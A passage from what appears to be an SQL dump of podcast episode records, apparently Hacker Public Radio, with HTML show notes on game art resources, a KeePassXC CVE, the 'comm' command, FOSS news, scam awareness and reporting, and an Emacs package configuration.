look better than your game mechanics play, nobody\'s going to play your game. Spend your time and effort on the game, not the design. (There\'s a balance to be struck, though. If your game assets make no sense and people can\'t figure out how to play the game, that\'s a problem too.)</p>\n\n<p><strong>Resources</strong></p>\n<dl>\n<dd><a target=\"_blank\" href=\"http://arcmage.org/artwork\">Arcmage.org</a></dd>\n<dd><a target=\"_blank\" href=\"https://gitlab.com/notklaatu/petition-card-game\">Petition card game</a></dd>\n<dd><a target=\"_blank\" href=\"http://opengameart.org\">Open Game Art</a></dd>\n<dd><a target=\"_blank\" href=\"http://freesvg.org\">Freesvg.org</a></dd>\n</dl>\n<p>You can also look through places like Artstation.com and Deviantart.com, but finding Creative Commons and consistent-looking art is a challenge.\n</p>\n\n',78,95,0,'CC-BY-SA','game,design',0,0,1),
(3888,'2023-06-28','KeePassXC recent CVE',588,'Sgoti talks about KeePassXC\'s security model and a recent CVE.','<ul>\n<li><strong>Source:</strong> <a\nhref=\"https://keepassxc.org/blog/2023-06-20-cve-202335866/\">Discussion\non CVE-2023&#x2013;35866</a><br />\n\n<ul>\n<li><strong>Supporting Source:</strong> <a\nhref=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-35866\">CVE-2023-35866</a><br />\n</li>\n</ul></li>\n<li><strong>Source:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Security_theater\">Security\ntheater</a><br />\n\n<ul>\n<li><strong>Security theater</strong> is the practice of taking <a\nhref=\"https://en.wikipedia.org/wiki/Security\">security measures</a> that\nare considered to provide the feeling of improved security while doing\nlittle or nothing to achieve it<br />\n</li>\n</ul></li>\n<li><strong>Source:</strong> <a\nhref=\"https://keepassxc.org/docs/\">KeePassXC: Documentation and\nFAQ</a><br />\n\n<ul>\n<li><strong>Supporting Source:</strong> <a\nhref=\"https://keepassxc.org/docs/KeePassXC_GettingStarted#_backing_up_a_database_file\">KeePassXC:\nGetting Started Guide</a><br />\n</li>\n<li><strong>Supporting Source:</strong> <a\nhref=\"https://keepassxc.org/docs/KeePassXC_UserGuide\">KeePassXC: User\nGuide</a><br />\n</li>\n</ul></li>\n</ul>\n',391,0,0,'CC-BY-SA','KeePassXC, CVE-202335866',0,0,1),
(3889,'2023-06-29','comm - compare two sorted files line by line',195,'A great tool to quickly find the differences between two files','<p>From the man page \"comm - compare two sorted files line by line\"</p>\n<p>It\'s part of the core utils package and you can install it using\n<code>dnf install coreutils</code> on RPM distros, or\n<code>apt install coreutils</code> on Debian based ones.</p>\n<pre><code>[host@hpr]$ man comm\n\nCOMM(1) User Commands COMM(1)\n\nNAME\n comm - compare two sorted files line by line\n\nSYNOPSIS\n comm [OPTION]... FILE1 FILE2\n\nDESCRIPTION\n Compare sorted files FILE1 and FILE2 line by line.\n\n When FILE1 or FILE2 (not both) is -, read standard input.\n\n With no options, produce three-column output. Column one contains lines unique to FILE1,\n column two contains lines unique to FILE2, and column three contains lines common to both\n files.\n\n -1 suppress column 1 (lines unique to FILE1)\n\n -2 suppress column 2 (lines unique to FILE2)\n\n -3 suppress column 3 (lines that appear in both files)\n\n --check-order\n check that the input is correctly sorted, even if all input lines are pairable\n\n --nocheck-order\n do not check that the input is correctly sorted\n\n --output-delimiter=STR\n separate columns with STR\n\n --total\n output a summary\n\n -z, --zero-terminated\n line delimiter is NUL, not newline\n\n --help display this help and exit\n\n --version\n output version information and exit\n\n Note, comparisons honor the rules specified by &#39;LC_COLLATE&#39;.\n\nEXAMPLES\n comm -12 file1 file2\n Print only lines present in both file1 and file2.\n\n comm -3 file1 file2\n Print lines in file1 not in file2, and vice versa.\n\nAUTHOR\n Written by Richard M. Stallman and David MacKenzie.\n\nREPORTING BUGS\n GNU coreutils online help: &lt;https://www.gnu.org/software/coreutils/&gt;\n Report any translation bugs to &lt;https://translationproject.org/team/&gt;\n\nCOPYRIGHT\n Copyright &#xA9; 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later\n &lt;https://gnu.org/licenses/gpl.html&gt;. This is free software: you are free to change and\n redistribute it. There is NO WARRANTY, to the extent permitted by law.\n\nSEE ALSO\n join(1), uniq(1)\n\n Full documentation &lt;https://www.gnu.org/software/coreutils/comm&gt;\n or available locally via: info &#39;(coreutils) comm invocation&#39;\n\nGNU coreutils 9.1</code></pre>\n<p>I always find that confusing, so for me it\'s a lot easier to see what\nis going on by creating some example files.</p>\n<p>First let\'s create some test files by echoing the number 1 and the\nnumber 2 into a file called <code>1and2.txt</code></p>\n<pre><code>[host@hpr]$ echo &quot;1&quot; &gt; 1and2.txt\n[host@hpr]$ echo &quot;2&quot; &gt;&gt; 1and2.txt</code></pre>\n<p>And let\'s create another one with the value 2 and 3 and we\'ll call it\n<code>2and3.txt</code></p>\n<pre><code>[host@hpr]$ echo &quot;2&quot; &gt; 2and3.txt\n[host@hpr]$ echo &quot;3&quot; &gt;&gt; 2and3.txt</code></pre>\n<p>Then we can see what each command does using these examples.</p>\n<pre><code>[host@hpr]$ comm -1 -2 1and2.txt 2and3.txt\n2\n[host@hpr]$ comm -1 -3 1and2.txt 2and3.txt\n3\n[host@hpr]$ comm -2 -3 1and2.txt 2and3.txt\n1\n</code></pre>\n',30,0,0,'CC-BY-SA','comm,compare,coreutils',0,0,1),
(3894,'2023-07-06','The Page 42 Show: Ugly News Week, Show\'s Epoch!',2261,'An hour of news and commentary of software development and the overall FOSS space. ','<h2 id=\"show-notes\">Show Notes</h2>\n<p>I\'m Gage Hopper, and this is my weekly(-ish) show on FOSS news and\nsoftware tinkering.</p>\n<h3 id=\"rust-being-destroyed-by-foundation-idiocy\">Rust Being Destroyed\nBy Foundation Idiocy</h3>\n<p><a\nhref=\"https://www.youtube.com/watch?v=QEnuzwCWpgQ\">https://www.youtube.com/watch?v=QEnuzwCWpgQ</a></p>\n<ul>\n<li>Rust\'s apology to JeanHeid Meneide:<br />\n<a\nhref=\"https://blog.rust-lang.org/2023/05/29/RustConf.html\">https://blog.rust-lang.org/2023/05/29/RustConf.html</a></li>\n</ul>\n<h3 id=\"opera-one-for-the-adventurous\">Opera One: For the\nadventurous</h3>\n<p><a\nhref=\"https://betanews.com/2023/06/20/opera-one-ai-powered-browsing-tab-islands-linux-windows-macos/\">https://betanews.com/2023/06/20/opera-one-ai-powered-browsing-tab-islands-linux-windows-macos/</a></p>\n<ul>\n<li>Requires an Opera Account</li>\n</ul>\n<h3 id=\"amazon-retaliates-against-luis\">Amazon Retaliates Against\nLuis</h3>\n<p><a\nhref=\"https://youtu.be/Kcohq313q00\">https://youtu.be/Kcohq313q00</a></p>\n<ul>\n<li>Luis Rossmann has been doing independent repairs for over a\ndecade</li>\n</ul>\n<h3 id=\"mesa-232-release-speeds-up-intel-arc-cards-by-11\">Mesa 23.2\nRelease Speeds Up Intel Arc Cards By 11%:</h3>\n<p><a\nhref=\"https://www.tomshardware.com/news/intel-arc-driver-linux-boost\">https://www.tomshardware.com/news/intel-arc-driver-linux-boost</a></p>\n<h3 id=\"wtf-redhat\">Wtf, RedHat?</h3>\n<p><a\nhref=\"https://hackaday.com/2023/06/23/et-tu-red-hat/\">https://hackaday.com/2023/06/23/et-tu-red-hat/</a></p>\n<h3 id=\"kotlin-korner\">Kotlin Korner</h3>\n<p>Interesting things I find worth sharing about my experiences with\nKotlin</p>\n<p>My handle is @hopper_mcs over on Twitter. Ciao!</p>\n',420,0,1,'CC-BY-SA','Page 42, P42, rust, kotlin, redhat, linux, foss, software development, mesa',0,0,1),
(3901,'2023-07-17','Time Managment',1238,'Time Managment','<p>I go over how I manage my time because I\'m a goldfish...</p>\n',36,0,1,'CC-BY-SA','self help',0,0,1),
(3941,'2023-09-11','Interview with Yosef Kerzner',3563,'Interview with Yosef Kerzner','<h3 id=\"interview-with-yosef-kerzner\">Interview with Yosef Kerzner</h3>\n<p><a href=\"https://www.linkedin.com/in/yosef-kerzner-7231ab6\"\nclass=\"uri\">https://www.linkedin.com/in/yosef-kerzner-7231ab6</a></p>\n<p><a href=\"https://yosefsblog.blogspot.com/\"\nclass=\"uri\">https://yosefsblog.blogspot.com/</a></p>\n<ul>\n<li><p><a href=\"https://m.youtube.com/watch?v=AaTRHFaaPG8\"\nclass=\"uri\">https://m.youtube.com/watch?v=AaTRHFaaPG8</a> this is a\nreally good interview if you want to be terrified by AI ( about 1/2 way\nin the video )</p></li>\n<li><p><a\nhref=\"https://www.google.com/search?q=%22PROBIOTIC+GEM+CULTURED%22+filetype%3Apdf\"\nclass=\"uri\">https://www.google.com/search?q=%22PROBIOTIC+GEM+CULTURED%22+filetype%3Apdf</a></p></li>\n</ul>\n',36,0,1,'CC-BY-SA','Interviews,hacking,ai',0,0,1),
(3898,'2023-07-12','The Oh No! News.',1485,'Sgoti talks about internet scams.','<h2 id=\"the-oh-no-news.\">The <em>Oh No!</em> news.</h2>\n<h2 id=\"oh-no-news-is-good-news.\"><em>Oh No!</em> News is Good\nNews.</h2>\n<ul>\n<li><strong>TAGS:</strong> User space, Cybercrime, fraud, scams</li>\n</ul>\n<hr />\n<h3 id=\"user-space.\"><strong>User space.</strong></h3>\n<p>Cybercrime, also known as scams or fraud, is constantly evolving due\nto the many data breaches occurring around the world. Attackers gather\nmore of our personal data from these data breaches, then use that data\nto develop or modify their attacks. Users must remain on guard against\nsocial engineered attacks aimed at defrauding users of personal\ninformation and/or property (usually money/currency). I&#x2019;m suggesting\nusers update themselves as they would update their computers. Knowing\nthe types of attacks and how the attack is deployed will benefit you in\nthe fight against Cybercrime.<br />\n</p>\n<p>Reporting Cybercrime is beneficial for all users. When a user reports\nCybercrime, that information can help investigators combat this growing\nthreat; and broadcast warnings to the greater population. I&#x2019;ve provided\na few links below to assist you in learning and reporting\nCybercrime.<br />\n</p>\n<p>Common delivery methods for social engineered attacks are:<br />\n</p>\n<ul>\n<li>Email (attackers imitate legitimate organizations in design\nonly).<br />\n</li>\n<li>Mobile (voice, text messages, and app stores).<br />\n</li>\n<li>Social Media (direct messages and marketplaces).<br />\n</li>\n<li>Websites (including fraudulent ads and popups).<br />\n</li>\n</ul>\n<p>Common data and/or property (e.g. currency) extraction methods\nare:<br />\n</p>\n<ul>\n<li><p>Peer-to-peer payment service apps (Venmo, Zelle, Cash App...etc).\nWARNING, your money goes where ever you send it (including\nscammers).<br />\n</p></li>\n<li><p>Wire transfers: transfer currency from one entity to another\n(account-to-account). WARNING, your money goes where ever you send it\n(including scammers).<br />\n</p></li>\n<li><p>Cryptocurrency: <strong>100% Scam</strong>. Light your money on\nfire for more value (reversing/recovering payment is virtually\nimpossible).<br />\n</p></li>\n<li><p>Store gift cards: Unverifiable way to use currency (online or in\nstore). WARNING, scammers prefer gift cards as payment\n(reversing/recovering payment is virtually impossible).<br />\n</p></li>\n<li><p><strong>Source:</strong> <a href=\"https://www.ic3.gov/\">Internet\nCrime Complaint Center (IC3)</a> The Internet Crime Complaint Center, or\nIC3, is the Nation&#x2019;s central hub for reporting cyber crime. It is run by\nthe FBI, the lead federal agency for investigating cyber crime.<br />\n</p>\n<ul>\n<li><strong>Supporting Source:</strong> <a\nhref=\"https://consumer.ftc.gov/all-scams\">Federal Trade Commission: All\nScams</a><br />\n</li>\n</ul></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://www.actionfraud.police.uk/\">Action Fraud, the national\nreporting centre for fraud and cybercrime.</a> Action Fraud is the UK&#x2019;s\nnational reporting centre for fraud and cybercrime where you should\nreport fraud if you have been scammed, defrauded or experienced cyber\ncrime in England, Wales and Northern Ireland.<br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://www.europol.europa.eu/report-a-crime/report-cybercrime-online\">European\nUnion Agency for Law Enforcement Cooperation</a> If you have fallen\nvictim to cybercrime, click on one of the links below to be redirected\nto the reporting website of your country. Reporting mechanisms vary from\none country to another. In Member States which do not have a dedicated\nonline option in place, you are advised to go to your local police\nstation to lodge a complaint.<br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://report.con.rcmp-grc.gc.ca/\">National Cybercrime and Fraud\nReporting System.</a> Reporting a scam or computer crime helps the Royal\nCanadian Mounted Police (RCMP), the National Cybercrime Coordination\nUnit (NC3) and the Canadian Anti-Fraud Centre (CAFC)Reporting a scam or\ncomputer crime helps the Royal Canadian Mounted Police (RCMP), the\nNational Cybercrime Coordination Unit (NC3) and the Canadian Anti-Fraud\nCentre (CAFC) learn more about the nature of these incidents. The\ninformation you include in your report helps us follow cybercrime and\nfraud trends. We use this information to help protect more people from\nharm. It is the role of local police services to investigate.<br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://www.reddit.com/r/Scams/\">Scams subreddit.</a><br />\n</p>\n<ul>\n<li><strong>Supporting Source:</strong> <a\nhref=\"https://www.fbi.gov/how-we-can-help-you/safety-resources/scams-and-safety/common-scams-and-crimes\">Common\nScams and Crimes.</a> The following are some of the most common scams\nand crimes that the FBI encounters, as well as tips to help prevent you\nfrom being victimized.<br />\n</li>\n<li><strong>Supporting Source:</strong> <a\nhref=\"https://duckduckgo.com/?t=ffab&amp;q=Where+do+I+report+online+scams%3F&amp;ia=web\">DuckDuckGo\nSearch: Where do I report online scams?</a><br />\n</li>\n</ul></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://www.paypal.com/us/cshelp/article/whats-the-difference-between-friends-and-family-or-goods-and-services-payments-help277\">Paypal:\nWhat\'s the difference between friends and family or goods and services\npayments?</a><br />\n</p></li>\n</ul>\n<p><img src=\"/eps/hpr3898/hpr3898/hpr-eps38diagram.drawio.png\" /></p>\n<hr />\n<ul>\n<li><strong>Additional Information.</strong>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Data_breach\"\ntitle=\"From Wikipedia, the free encyclopedia.\">What is a \"Data\nBreach\"?</a> A data breach is a security violation, in which sensitive,\nprotected or confidential data is copied, transmitted, viewed, stolen,\naltered or used by an individual unauthorized to do so.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Malware\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Malware\"?</a>\nMalware (a <a href=\"https://en.wikipedia.org/wiki/Portmanteau\"\ntitle=\"From Wikipedia, the free encyclopedia\">portmanteau</a> for\nmalicious software) is any software intentionally designed to cause\ndisruption to a computer, server, client, or computer network, leak\nprivate information, gain unauthorized access to information or systems,\ndeprive access to information, or which unknowingly interferes with the\nuser\'s computer security and privacy.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Payload_(computing)\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Payload\"?</a>\nIn the context of a computer virus or worm, the payload is the portion\nof the malware which performs malicious action; deleting data, sending\nspam or encrypting data. In addition to the payload, such malware also\ntypically has overhead code aimed at simply spreading itself, or\navoiding detection.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Phishing\"\ntitle=\"From Wikipedia, the free encyclopedia.\">What is \"Phishing\"?</a>\nPhishing is a form of <a\nhref=\"https://en.wikipedia.org/wiki/Social_engineering_(security)\"\ntitle=\"From Wikipedia, the free encyclopedia\">social engineering</a>\nwhere attackers deceive people into revealing sensitive information or\ninstalling malware such as <a\nhref=\"https://en.wikipedia.org/wiki/Ransomware\"\ntitle=\"From Wikipedia, the free encyclopedia\">ransomware</a>. Phishing\nattacks have become increasingly sophisticated and often transparently\nmirror the site being targeted, allowing the attacker to observe\neverything while the victim is navigating the site, and transverse any\nadditional security boundaries with the victim.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Social_engineering_(security)\">Social\nengineering (security)</a> In the context of information security,\nsocial engineering is the <a\nhref=\"https://en.wikipedia.org/wiki/Psychological_manipulation\">psychological\nmanipulation</a> of people into performing actions or divulging\nconfidential information. A type of confidence trick for the purpose of\ninformation gathering, fraud, or system access, it differs from a\ntraditional \"con\" in that it is often one of many steps in a more\ncomplex fraud scheme.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Information_security\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Information\nSecurity\" (InfoSec)?</a> Information security, sometimes shortened to\nInfoSec, is the practice of protecting information by mitigating <a\nhref=\"https://en.wikipedia.org/wiki/Information\"\ntitle=\"From Wikipedia, the free encyclopedia\">information</a> risks. It\nis part of <a\nhref=\"https://en.wikipedia.org/wiki/Risk_management_information_systems\"\ntitle=\"From Wikipedia, the free encyclopedia\">information risk\nmanagement</a>.\n<ul>\n<li><strong>Information Security Attributes:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Confidentiality\"\ntitle=\"From Wikipedia, the free encyclopedia\">Confidentiality</a>, <a\nhref=\"https://en.wikipedia.org/wiki/Data_integrity\"\ntitle=\"From Wikipedia, the free encyclopedia\">Integrity</a> and <a\nhref=\"https://en.wikipedia.org/wiki/Availability\"\ntitle=\"From Wikipedia, the free encyclopedia\">Availability</a> (C.I.A.).\nInformation Systems are composed in three main portions, hardware,\nsoftware and communications with the purpose to help identify and apply\ninformation security industry standards, as mechanisms of protection and\nprevention, at three levels or layers: physical, personal and\norganizational. Essentially, procedures or policies are implemented to\ntell administrators, users and operators how to use products to ensure\ninformation security within the organizations.</li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Risk_management\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Risk\nmanagement\"?</a> Risk management is the identification, evaluation, and\nprioritization of risks followed by coordinated and economical\napplication of resources to minimize, monitor, and control the\nprobability or impact of unfortunate events or to maximize the\nrealization of opportunities.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Vulnerability_(computing)\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Vulnerability\"\n(computing)?</a> Vulnerabilities are flaws in a computer system that\nweaken the overall security of the device/system. Vulnerabilities can be\nweaknesses in either the hardware itself, or the software that runs on\nthe hardware.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Attack_surface\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is an \"Attack\nSurface\"?</a> The attack surface of a software environment is the sum of\nthe different points (for \"attack vectors\") where an unauthorized user\n(the \"attacker\") can try to enter data to or extract data from an\nenvironment. Keeping the attack surface as small as possible is a basic\nsecurity measure.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Attack_vector\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is an \"Attack\nVector\"?</a> In computer security, an attack vector is a specific path,\nmethod, or scenario that can be exploited to break into an IT system,\nthus compromising its security. The term was derived from the\ncorresponding notion of vector in biology. An attack vector may be\nexploited manually, automatically, or through a combination of manual\nand automatic activity.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Standardization\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is\n\"Standardization\"?</a> Standardization is the process of implementing\nand developing technical standards based on the consensus of different\nparties that include firms, users, interest groups, standards\norganizations and governments. Standardization can help maximize\ncompatibility, interoperability, safety, repeatability, or quality. It\ncan also facilitate a normalization of formerly custom processes.\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/List_of_computer_standards\"\ntitle=\"From Wikipedia, the free encyclopedia\">List of computer\nstandards.</a></li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/List_of_technical_standard_organizations\"\ntitle=\"From Wikipedia, the free encyclopedia\">List of technical standard\norganizations.</a></li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Replay_attack\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Replay\nattack\"?</a> A replay attack is a form of network attack in which valid\ndata transmission is maliciously or fraudulently repeated or delayed.\nAnother way of describing such an attack is: \"an attack on a security\nprotocol using a replay of messages from a different context into the\nintended (or original and expected) context, thereby fooling the honest\nparticipant(s) into thinking they have successfully completed the\nprotocol run.\"</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Man-in-the-middle_attack\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a\n\"Man-in-the-middle attack\"?</a> In cryptography and computer security, a\nman-in-the-middle, ..., attack is a cyberattack where the attacker\nsecretly relays and possibly alters the communications between two\nparties who believe that they are directly communicating with each\nother, as the attacker has inserted themselves between the two\nparties.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Transport Layer\nSecurity\" (TLS)?</a> Transport Layer Security (TLS) is a cryptographic\nprotocol designed to provide communications security over a computer\nnetwork. The protocol is widely used in applications such as email,\ninstant messaging, and voice over IP, but its use in securing HTTPS\nremains the most publicly visible.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Handshake_(computing)\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Handshake\"\n(computing)?</a>. In computing, a handshake is a signal between two\ndevices or programs, used to, e.g., authenticate, coordinate. An example\nis the handshaking between a hypervisor and an application in a guest\nvirtual machine.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Security_theater\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is Security\ntheater?</a> The practice of taking security measures that are\nconsidered to provide the feeling of improved security while doing\nlittle or nothing to achieve it.<br />\n</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li><strong>License:</strong> <a\nhref=\"https://creativecommons.org/licenses/by-sa/4.0/legalcode\">Creative\nCommons Attribution-ShareAlike 4.0 International</a>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-sa/4.0/88x31.png\" /></a><br />This\nwork is licensed under a\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-sa/4.0/\">Creative\nCommons Attribution-ShareAlike 4.0 International License</a>.</li>\n</ul>\n',391,74,0,'CC-BY-SA','User space, Cybercrime, fraud, scams',0,0,1),
(3892,'2023-07-04','Emacs package curation, part 1',2132,'Let\'s go through every single package installed in my Emacs configuration.','<p>Not really every single one, because straight.el installs\ndependencies automatically.</p>\n<p>Here\'s the file I went through during this recording. Some things may\nhave changed slightly since the time of recording. Save this file in\n<code>~/.emacs.d/init.el</code> to reproduce my exact Emacs\nconfiguration that I use at home and at work.</p>\n<pre class=\"elisp\"><code>;;; init.el --- This is Tiago&#39;s init.el file\n;;; Commentary:\n;;; Thanks to everyone that curates Emacs packages.\n\n;;; Code:\n;; BEGIN Straight.el bootstrap\n(defvar bootstrap-version)\n(let ((bootstrap-file\n (expand-file-name &quot;straight/repos/straight.el/bootstrap.el&quot; user-emacs-directory))\n (bootstrap-version 6))\n (unless (file-exists-p bootstrap-file)\n (with-current-buffer\n (url-retrieve-synchronously\n &quot;https://raw.githubusercontent.com/radian-software/straight.el/develop/install.el&quot;\n &#39;silent &#39;inhibit-cookies)\n (goto-char (point-max))\n (eval-print-last-sexp)))\n (load bootstrap-file nil &#39;nomessage))\n;; END Straight.el bootstrap\n\n(straight-use-package &#39;use-package)\n(setq straight-use-package-by-default t)\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; &lt;&lt;&lt; THE ESSENTIALS &gt;&gt;&gt; ;;;\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n;; Get minor modes off the modeline\n(use-package diminish)\n\n(use-package evil\n :init (setq evil-want-keybinding nil)\n :config (evil-mode)\n :custom (evil-undo-system &#39;undo-redo)\n :bind (&quot;C-u&quot; . evil-scroll-up))\n\n(use-package evil-collection\n :diminish evil-collection-unimpaired-mode\n :after evil\n :config (evil-collection-init))\n\n(use-package evil-surround\n :after evil\n :config\n (global-evil-surround-mode 1))\n\n;; In-Buffer Completion\n(use-package company\n :diminish\n :config (global-company-mode))\n\n;; completion with extra info box\n(use-package company-box\n :diminish\n :hook (company-mode . company-box-mode))\n\n;; Show key bindings as you go\n(use-package which-key\n :diminish\n :config (which-key-mode))\n\n;; search query feedback in the buffer\n(use-package anzu\n :diminish\n :config (global-anzu-mode +1))\n\n(use-package evil-anzu)\n\n;; Completion in the minibuffer (snippet from vertico)\n(use-package vertico\n :init\n (vertico-mode)\n\n ;; Different scroll margin\n ;; (setq vertico-scroll-margin 0)\n\n ;; Show more candidates\n ;; (setq vertico-count 20)\n\n ;; Grow and shrink the Vertico minibuffer\n ;; (setq vertico-resize t)\n\n ;; Optionally enable cycling for `vertico-next&#39; and `vertico-previous&#39;.\n ;; (setq vertico-cycle t)\n )\n\n;; Persist history over Emacs restarts. Vertico sorts by history position.\n;; (use-package savehist\n;; :init\n;; (savehist-mode))\n\n;; A few more useful configurations...\n(use-package emacs\n :init\n ;; Add prompt indicator to `completing-read-multiple&#39;.\n ;; We display [CRM&lt;separator&gt;], e.g., [CRM,] if the separator is a comma.\n (defun crm-indicator (args)\n (cons (format &quot;[CRM%s] %s&quot;\n (replace-regexp-in-string\n &quot;\\\\`\\\\[.*?]\\\\*\\\\|\\\\[.*?]\\\\*\\\\&#39;&quot; &quot;&quot;\n crm-separator)\n (car args))\n (cdr args)))\n (advice-add #&#39;completing-read-multiple :filter-args #&#39;crm-indicator)\n\n ;; Do not allow the cursor in the minibuffer prompt\n (setq minibuffer-prompt-properties\n &#39;(read-only t cursor-intangible t face minibuffer-prompt))\n (add-hook &#39;minibuffer-setup-hook #&#39;cursor-intangible-mode)\n\n ;; Emacs 28: Hide commands in M-x which do not work in the current mode.\n ;; Vertico commands are hidden in normal buffers.\n ;; (setq read-extended-command-predicate\n ;; #&#39;command-completion-default-include-p)\n\n ;; Enable recursive minibuffers\n (setq enable-recursive-minibuffers t))\n\n;; Optionally use the `orderless&#39; completion style.\n;; Get completion even if you type substrings that don&#39;t match in the\n;; same order you typed them in.\n(use-package orderless\n :init\n ;; Configure a custom style dispatcher (see the Consult wiki)\n ;; (setq orderless-style-dispatchers &#39;(+orderless-consult-dispatch orderless-affix-dispatch)\n ;; orderless-component-separator #&#39;orderless-escapable-split-on-space)\n (setq completion-styles &#39;(orderless basic)\n completion-category-defaults nil\n completion-category-overrides &#39;((file (styles partial-completion)))))\n\n;; Enable rich annotations in the completion\n(use-package marginalia\n ;; Either bind `marginalia-cycle&#39; globally or only in the minibuffer\n :bind ((&quot;M-A&quot; . marginalia-cycle)\n :map minibuffer-local-map\n (&quot;M-A&quot; . marginalia-cycle))\n\n ;; The :init configuration is always executed (Not lazy!)\n :init\n\n ;; Must be in the :init section of use-package such that the mode gets\n ;; enabled right away. Note that this forces loading the package.\n (marginalia-mode))\n\n;; Searching commands and lots of other stuff\n;; This is a snippet taken from consult\n(use-package consult\n ;; Replace bindings. Lazily loaded due by `use-package&#39;.\n :bind (;; C-c bindings in `mode-specific-map&#39;\n (&quot;C-c M-x&quot; . consult-mode-command)\n (&quot;C-c h&quot; . consult-history)\n (&quot;C-c k&quot; . consult-kmacro)\n (&quot;C-c m&quot; . consult-man)\n (&quot;C-c i&quot; . consult-info)\n ([remap Info-search] . consult-info)\n ;; C-x bindings in `ctl-x-map&#39;\n (&quot;C-x M-:&quot; . consult-complex-command) ;; orig. repeat-complex-command\n (&quot;C-x b&quot; . consult-buffer) ;; orig. switch-to-buffer\n (&quot;C-x 4 b&quot; . consult-buffer-other-window) ;; orig. switch-to-buffer-other-window\n (&quot;C-x 5 b&quot; . consult-buffer-other-frame) ;; orig. switch-to-buffer-other-frame\n (&quot;C-x r b&quot; . consult-bookmark) ;; orig. bookmark-jump\n (&quot;C-x p b&quot; . consult-project-buffer) ;; orig. project-switch-to-buffer\n ;; Custom M-# bindings for fast register access\n (&quot;M-#&quot; . consult-register-load)\n (&quot;M-&#39;&quot; . consult-register-store) ;; orig. abbrev-prefix-mark (unrelated)\n (&quot;C-M-#&quot; . consult-register)\n ;; Other custom bindings\n (&quot;M-y&quot; . consult-yank-pop) ;; orig. yank-pop\n ;; M-g bindings in `goto-map&#39;\n (&quot;M-g e&quot; . consult-compile-error)\n (&quot;M-g f&quot; . consult-flymake) ;; Alternative: consult-flycheck\n (&quot;M-g g&quot; . consult-goto-line) ;; orig. goto-line\n (&quot;M-g M-g&quot; . consult-goto-line) ;; orig. goto-line\n (&quot;M-g o&quot; . consult-outline) ;; Alternative: consult-org-heading\n (&quot;M-g m&quot; . consult-mark)\n (&quot;M-g k&quot; . consult-global-mark)\n (&quot;M-g i&quot; . consult-imenu)\n (&quot;M-g I&quot; . consult-imenu-multi)\n ;; M-s bindings in `search-map&#39;\n (&quot;M-s d&quot; . consult-find)\n (&quot;M-s D&quot; . consult-locate)\n (&quot;M-s g&quot; . consult-grep)\n (&quot;M-s G&quot; . consult-git-grep)\n (&quot;M-s r&quot; . consult-ripgrep)\n (&quot;M-s l&quot; . consult-line)\n (&quot;M-s L&quot; . consult-line-multi)\n (&quot;M-s k&quot; . consult-keep-lines)\n (&quot;M-s u&quot; . consult-focus-lines)\n ;; Isearch integration\n (&quot;M-s e&quot; . consult-isearch-history)\n :map isearch-mode-map\n (&quot;M-e&quot; . consult-isearch-history) ;; orig. isearch-edit-string\n (&quot;M-s e&quot; . consult-isearch-history) ;; orig. isearch-edit-string\n (&quot;M-s l&quot; . consult-line) ;; needed by consult-line to detect isearch\n (&quot;M-s L&quot; . consult-line-multi) ;; needed by consult-line to detect isearch\n ;; Minibuffer history\n :map minibuffer-local-map\n (&quot;M-s&quot; . consult-history) ;; orig. next-matching-history-element\n (&quot;M-r&quot; . consult-history)) ;; orig. previous-matching-history-element\n\n ;; Enable automatic preview at point in the *Completions* buffer. This is\n ;; relevant when you use the default completion UI.\n :hook (completion-list-mode . consult-preview-at-point-mode)\n\n ;; The :init configuration is always executed (Not lazy)\n :init\n\n ;; Optionally configure the register formatting. This improves the register\n ;; preview for `consult-register&#39;, `consult-register-load&#39;,\n ;; `consult-register-store&#39; and the Emacs built-ins.\n (setq register-preview-delay 0.5\n register-preview-function #&#39;consult-register-format)\n\n ;; Optionally tweak the register preview window.\n ;; This adds thin lines, sorting and hides the mode line of the window.\n (advice-add #&#39;register-preview :override 